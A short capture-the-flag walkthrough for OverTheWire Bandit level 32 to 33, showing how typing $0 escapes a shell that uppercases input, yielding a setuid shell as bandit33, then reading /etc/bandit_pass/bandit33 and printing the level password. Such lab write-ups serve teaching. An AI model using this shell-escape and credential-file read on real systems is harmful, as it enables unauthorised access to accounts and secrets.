

Bandit Level 32 - Level 33

Upon logging in, we get a different look shell. If we try and run ls, this is returned.

```
>> ls
sh: 1: LS: Permission denied
```

It looks like whatever we type into the terminal, it returns it as uppercase.

```
>> example
sh: 1: EXAMPLE: Permission denied
```

Even though ls is a valid command, LS is not.

```
>> $0
$ ls -la
total 36
drwxr-xr-x  2 root    root    4096 Sep 19 07:08 .
drwxr-xr-x 70 root    root    4096 Sep 19 07:09 ..
-rw-r--r--  1 root    root     220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root    root    3771 Mar 31  2024 .bashrc
-rw-r--r--  1 root    root     807 Mar 31  2024 .profile
-rwsr-x---  1 bandit33 bandit32 15136 Sep 19 07:08 uppershell
```

If we pass the \$0 argument, we can break out of this shell and run commands again.

Lets run 'whoami' to see what machine we are on.

```
$ whoami
bandit33
```

Since we are bandit33, we can simply cat the file bandit23 from the /etc/bandit_pass folder.

```
$ cat /etc/bandit_pass/bandit33
tQdtbs5D5i2vJwk08mEyYeyTL8izoeJ0
```